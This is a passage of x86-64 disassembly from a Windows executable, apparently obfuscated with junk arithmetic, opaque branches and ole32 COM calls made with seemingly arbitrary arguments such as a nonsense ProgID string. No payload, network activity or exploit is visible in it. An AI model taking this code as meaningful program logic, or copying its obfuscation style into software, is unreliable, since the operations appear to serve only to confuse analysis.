movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
cmp dword [rbp + 0x24290], 0x6638
jbe 0x140007161
movzx eax, byte [rbp + 0x23d7]
movsx edx, al
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
cmp edx, eax
jge 0x1400073a5
movzx eax, byte [rbp + 0x316b]
movzx eax, al
cmp eax, 0xc8
jne 0x14000738c
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x18b0]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
movzx edx, word [rbp + 0x1e9e]
movzx eax, word [0x140170310]
and eax, edx
mov word [rbp + 0x12f8], ax
lea rax, [rbp + 0x3b30]
mov rdx, rax
lea rax, str.torpor_Chaffinches_Ported_alder_Sinter
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromProgID]
call rax
mov dword [rbp + 0x23b9c], eax
movzx eax, byte [rbp + 0x316b]
movzx edx, al
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x40f0]
mov byte [rax], dl
jmp 0x14000748a
mov edx, dword [rbp + 0x13a8]
mov eax, dword [rbp + 0x18b0]
xor eax, edx
mov dword [rbp + 0x31e4], eax
jmp 0x14000748a
movzx eax, word [rbp + 0x12f8]
movzx edx, ax
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
mov ecx, edx
sub ecx, eax
movzx eax, word [rbp + 0x1142]
movzx edx, ax
movzx eax, word [0x140170310]
movzx eax, ax
sub edx, eax
cmp ecx, edx
jge 0x14000748a
lea rax, [rbp + 0x18b0]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleGetIconOfFile]
call rax
mov qword [rbp + 0x39a0], rax
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x23d7]
or edx, eax
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
cmp dl, al
jg 0x140007449
mov rax, qword [rbp + 0x23e0]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x2468]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
call fcn.14015ac03
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
sub ecx, edx
mov dword [rax], ecx
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
call fcn.14015ac03
mov dword [rbp + 0x24230], 0xd913
movzx eax, word [rbp + 0x1142]
movzx eax, ax
cmp eax, 0x44
je 0x1400074b3
cmp eax, 0x9437
je 0x140007840
jmp 0x1401596a0
movzx eax, word [rbp + 0x1e9e]
movzx eax, ax
cmp eax, 0x2d2
je 0x14000752d
cmp eax, 0xd09
jne 0x14000752e
mov rax, qword [rbp + 0x241e8]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x40f0]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x13a8], eax
lea rcx, [rbp + 0x5bcc]
lea rdx, [rbp + 0x5bcc]
lea rax, [rbp + 0x5240]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoMarshalInterThreadInterfaceInStream]
call rax
mov dword [rbp + 0x24280], eax
jmp 0x14000752e
nop
movzx edx, word [rbp + 0x1142]
movzx eax, word [rbp + 0x12f8]
add eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
mov ecx, eax
call fcn.14015ac03
jmp 0x1401596a0
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x18b0], eax
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
add edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
movzx eax, word [rbp + 0x1e9e]
movzx edx, word [rbp + 0x1142]
sub eax, edx
mov word [rbp + 0x12f8], ax
mov edx, dword [rbp + 0xf2c]
mov eax, dword [0x140170314]
xor eax, edx
mov dword [0x140176030], eax
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x23d7]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
or edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0xf2c]
mov eax, dword [0x140170314]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
and edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
movzx edx, word [rbp + 0x1e9e]
movzx eax, word [0x140170310]
add eax, edx
mov word [rbp + 0x12f8], ax
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [0x140170314]
sub edx, eax
mov dword [rbp + 0xf2c], edx
add dword [rbp + 0x241c0], 0x9e
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x18b0], eax
mov edx, dword [0x140170314]
mov eax, dword [0x140176030]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov edx, dword [rbp + 0xf2c]
mov eax, dword [0x140170314]
sub edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
movzx edx, word [rbp + 0x1142]
movzx eax, word [rbp + 0x12f8]
add eax, edx
mov word [rbp + 0x1e9e], ax
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x23e0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov eax, dword [0x140170314]
xor eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x241c8]
mov r8d, dword [rax]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x5008]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [0x140170314]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov eax, dword [0x140176030]
or eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x23d7]
and edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
add eax, edx
mov dword [0x140170314], eax
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x40f0]
add edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x23d7]
mov edx, eax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x2468]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x18b0]
and eax, edx
mov dword [rbp + 0x31e4], eax
cmp dword [rbp + 0x241c0], 0x867f
jbe 0x14000755a
movzx eax, word [rbp + 0x12f8]
movzx eax, ax
cmp eax, 0xb06
je 0x1400078ba
cmp eax, 0xdcc7
jne 0x140007983
lea rax, [rbp + 0x1e9e]
mov qword [rbp + 0x2b98], rax
mov rax, qword [rbp + 0x3ff0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
lea rax, [rbp + 0xf2c]
mov qword [rbp + 0x24200], rax
lea rax, [rbp + 0x18b0]
mov qword [rbp + 0x3378], rax
jmp 0x140007983
movzx eax, word [rbp + 0x2b36]
cwde
cmp eax, 0x6b0
jne 0x1400078e8
mov ecx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x5008]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
jmp 0x140007972
lea rdx, [rbp + 0xd50]
lea rax, [rbp + 0x3378]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0xcf
mov edx, 0x41
mov ecx, 0x96
mov rax, qword [sym.imp.ole32.dll_CoWaitForMultipleHandles]
call rax
mov dword [rbp + 0x1740], eax
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov eax, dword [0x140170314]
add eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
lea rdx, [rbp + 0x28d0]
lea rax, [rbp + 0x23d7]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoSwitchCallContext]
call rax
mov dword [rbp + 0x3078], eax
nop
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
mov ecx, eax
call fcn.14015ac03
nop
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x31e4], eax
mov rax, qword [rbp + 0x5008]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x28d0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x23d7]
xor edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x24248]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x23d7]
and edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
movzx edx, word [rbp + 0x1e9e]
movzx eax, word [rbp + 0x12f8]
add eax, edx
mov word [0x140170310], ax
mov rax, qword [rbp + 0x3378]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
add dword [rbp + 0x242c4], 0xe3
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x31e4]
and eax, edx
mov dword [rbp + 0x13a8], eax
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x1142]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x242c4], 0x43be
jbe 0x140007983
movzx eax, word [rbp + 0x2b36]
cwde
lea edx, [rax - 0x27a7]
movzx eax, word [rbp + 0x5bcc]
cwde
cmp edx, eax
je 0x140007c51
movzx eax, word [rbp + 0x2b36]
cwde
cmp eax, 0x5d22
jne 0x140007b99
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
xor eax, edx
mov dword [rbp + 0x8ec], eax
mov edx, dword [rbp + 0x13a8]
mov eax, dword [rbp + 0x31e4]
or eax, edx
mov dword [rbp + 0x18b0], eax
mov dword [rbp + 0x24234], 0xd1a2
lea rax, [rbp + 0xf2c]
mov qword [rbp + 0x242d8], rax
jmp 0x140007c27
mov rax, qword [rbp + 0x3378]
mov eax, dword [rax]
cmp eax, 0xd683489c
jne 0x140007c06
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x241c8]
mov dword [rax], edx
movzx edx, word [rbp + 0x1142]
movzx eax, word [rbp + 0x12f8]
and eax, edx
mov word [rbp + 0x1e9e], ax
lea rdx, [rbp + 0x3770]
lea rax, [rbp + 0x54a0]
mov r8, rdx
mov edx, 9
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
call rax
mov dword [rbp + 0x23b98], eax
jmp 0x140007c26
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x40f0]
sub edx, ecx
mov byte [rax], dl
nop
nop
movzx eax, byte [rbp + 0x23d7]
mov byte [rbp + 0x58f3], al
movzx eax, word [rbp + 0x2b36]
mov word [rbp + 0x4f66], ax
mov dword [rbp + 0x24294], 0xc64c
jmp 0x140007d7f
movzx eax, byte [rbp + 0x23d7]
movsx edx, al
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
movsx eax, al
cmp edx, eax
je 0x140007d7f
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
movzx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x316b]
movzx edx, al
movzx eax, byte [rbp + 0x1c57]
movzx eax, al
sub edx, eax
cmp ecx, edx
jge 0x140007d4b
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x840
jne 0x140007d24
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x18b0], eax
movzx eax, byte [rbp + 0x58f3]
movsx r8d, al
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
movzx eax, al
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.140159c12
jmp 0x140007d4b
lea rdx, [rbp + 0x8ec]
lea rax, [rbp + 0x6c0]
mov r8d, 0x11
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_StringFromGUID2]
call rax
mov dword [rbp + 0x34fc], eax
nop
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
add edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, word [rbp + 0x12f8]
sub eax, edx
mov word [rbp + 0x1142], ax
mov rax, qword [rbp + 0x3ff0]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x40f0]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8ec]
mov ecx, eax
shl edx, cl
mov eax, edx
mov dword [rbp + 0xf2c], eax
mov edx, dword [rbp + 0x34fc]
mov eax, dword [rbp + 0x8ec]
xor eax, edx
mov dword [rbp + 0xf2c], eax
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov eax, dword [rax]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x18b0], eax
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
or eax, edx
mov byte [rbp + 0x316b], al
movzx ecx, word [rbp + 0x12f8]
movzx edx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
mov edx, dword [rbp + 0xf2c]
mov eax, dword [rbp + 0x8ec]
and eax, edx
mov dword [0x140176030], eax
mov edx, dword [rbp + 0x34fc]
mov eax, dword [rbp + 0xf2c]
sub edx, eax
mov rax, qword [rbp + 0x242d8]
mov dword [rax], edx
mov rax, qword [rbp + 0x3378]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x2468]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0x8ec]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x241c8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0xf2c], eax
movzx eax, word [rbp + 0x4f66]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
add eax, edx
mov word [rbp + 0x5bcc], ax
movzx eax, byte [rbp + 0x23d7]
mov edx, eax
mov rax, qword [rbp + 0x24248]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x2b98]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x24210]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x40f0]
movzx eax, byte [rax]
and edx, eax
mov rax, qword [rbp + 0x241e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x2468]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x3f40]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [0x140170310]
mov rax, qword [rbp + 0x2b98]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3ff0]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x24210]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x40f0]
mov byte [rax], dl
mov rax, qword [rbp + 0x3378]
mov edx, dword [rax]
mov eax, dword [rbp + 0x18b0]
add eax, edx
mov dword [rbp + 0x13a8], eax
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x242d8]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
sub ecx, edx
mov dword [rax], ecx
mov ecx, dword [rbp + 0x34fc]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
sub ecx, edx
mov dword [rax], ecx
movzx edx, byte [rbp + 0x316b]
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x242d8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x2429c], 0x21
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
add edx, eax
mov rax, qword [rbp + 0x24200]
mov dword [rax], edx
movzx eax, word [rbp + 0x4f66]
mov edx, eax
movzx eax, word [rbp + 0x2b36]
add eax, edx
mov word [rbp + 0x5bcc], ax
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x23d7]
sub edx, eax
mov rax, qword [rbp + 0x28d0]
mov byte [rax], dl
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [0x140170310]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x241e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1c57]
or eax, edx
mov byte [rbp + 0x316b], al
mov rax, qword [rbp + 0x23e0]
mov r8d, dword [rax]
mov edx, dword [rbp + 0x18b0]
mov rax, qword [rbp + 0x23e0]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x3378]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2468]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x242d8]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x24200]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
xor edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x24200]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x8ec], eax
mov rax, qword [rbp + 0x5008]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x3f40]
add edx, ecx
mov dword [rax], edx
movzx edx, word [rbp + 0x12f8]
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x1142], ax
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
and edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov ecx, dword [rbp + 0x18b0]
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3378]
sub ecx, edx
mov dword [rax], ecx
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov rax, qword [rbp + 0x5008]
mov eax, dword [rax]
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x2468]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x31e4]
mov rax, qword [rbp + 0x3378]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x24210]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1e9e]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x2429c], 0x8226
ja 0x140007d7f
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
mov byte [rbp + 0x4d83], al
lea rax, [rbp + 0x4f66]
mov qword [rbp + 0x23b90], rax
mov dword [rbp + 0x2420c], 0x48ad
jmp 0x140008589
mov rax, qword [rbp + 0x23e0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x18b0]
xor eax, edx
mov dword [rbp + 0x31e4], eax
mov rax, qword [rbp + 0x242d8]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5008]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x12f8]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x1142], ax
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
or edx, eax
mov rax, qword [rbp + 0x24210]
mov byte [rax], dl
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0xf2c]
and eax, edx
mov dword [rbp + 0x34fc], eax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x18b0]
mov rax, qword [rbp + 0x2468]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x3f40]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x8ec]
mov rax, qword [rbp + 0x5008]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x241c8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov rax, qword [rbp + 0x2b98]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1142]
mov rax, qword [rbp + 0x2b98]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x40f0]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x316b]
and eax, edx
mov byte [rbp + 0x1c57], al
mov rax, qword [rbp + 0x3378]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x18b0]
mov rax, qword [rbp + 0x3378]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x34fc]
mov rax, qword [rbp + 0x24200]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x8ec], edx
mov rax, qword [rbp + 0x242d8]
mov ecx, dword [rax]
mov edx, dword [0x140176030]
mov rax, qword [rbp + 0x3f40]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x3f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8ec]
sub edx, eax
mov dword [rbp + 0xf2c], edx
mov rax, qword [rbp + 0x241c8]
mov ecx, dword [rax]
mov edx, dword [rbp + 0xf2c]
mov rax, qword [rbp + 0x3f40]
or edx, ecx
mov dword [rax], edx
movzx eax, word [rbp + 0x4f66]
movsx edx, ax
movzx eax, word [rbp + 0x5bcc]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x23b90]
mov word [rax], dx
mov rax, qword [rbp + 0x24248]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x28d0]
movzx eax, byte [rax]
xor edx, eax
mov rax, qword [rbp + 0x24248]
mov byte [rax], dl
mov rax, qword [rbp + 0x241e8]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x316b]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x1c57], al
movzx ecx, word [rbp + 0x12f8]
movzx edx, word [rbp + 0x1142]
mov rax, qword [rbp + 0x2b98]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2468]
mov edx, dword [rax]
mov eax, dword [rbp + 0x13a8]
add eax, edx
mov dword [rbp + 0x18b0], eax
mov rax, qword [rbp + 0x23e0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x13a8]
mov rax, qword [rbp + 0x2468]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x2b98]
movzx eax, word [rax]
movzx edx, word [rbp + 0x1e9e]
sub eax, edx
mov word [rbp + 0x12f8], ax
add dword [rbp + 0x24224], 0xa2
